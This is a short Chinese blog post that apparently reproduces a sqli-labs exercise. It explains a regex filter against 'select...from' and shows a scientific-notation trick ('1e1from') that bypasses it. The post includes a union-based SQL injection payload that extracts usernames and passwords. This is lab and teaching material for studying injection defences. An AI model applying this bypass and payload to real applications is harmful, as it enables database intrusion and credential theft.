less-1.1
在源码中$id=$_GET['id'];之后加入如下代码:
if(preg_match('/select\b[\s\S]*\bfrom/is',$id)){
die('SQL Injection');
};
1.分析正则
第一个\b匹配select单词边界,\s\S匹配到所有字符,最后一个\b匹配到from单词边界。
select...from被过滤,失效。
2.科学计数法的引入
如果可以存在一个关键词,可以加在from前面,不会影响语句执行,从而实现绕过正则。
select group_concat(username,0x3a,password),le1from users;
1e1
上图中,相当于多出了一列le1,所以前面必须要有逗号。文章来源:https://www.toymoban.com/news/detail-694331.html
?id=-1' union select 1,concat(username,0x3a,password),1e1from users limit 2,1--+
文章来源地址https://www.toymoban.com/news/detail-694331.html
到了这里,关于sqli-labs例题复现的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!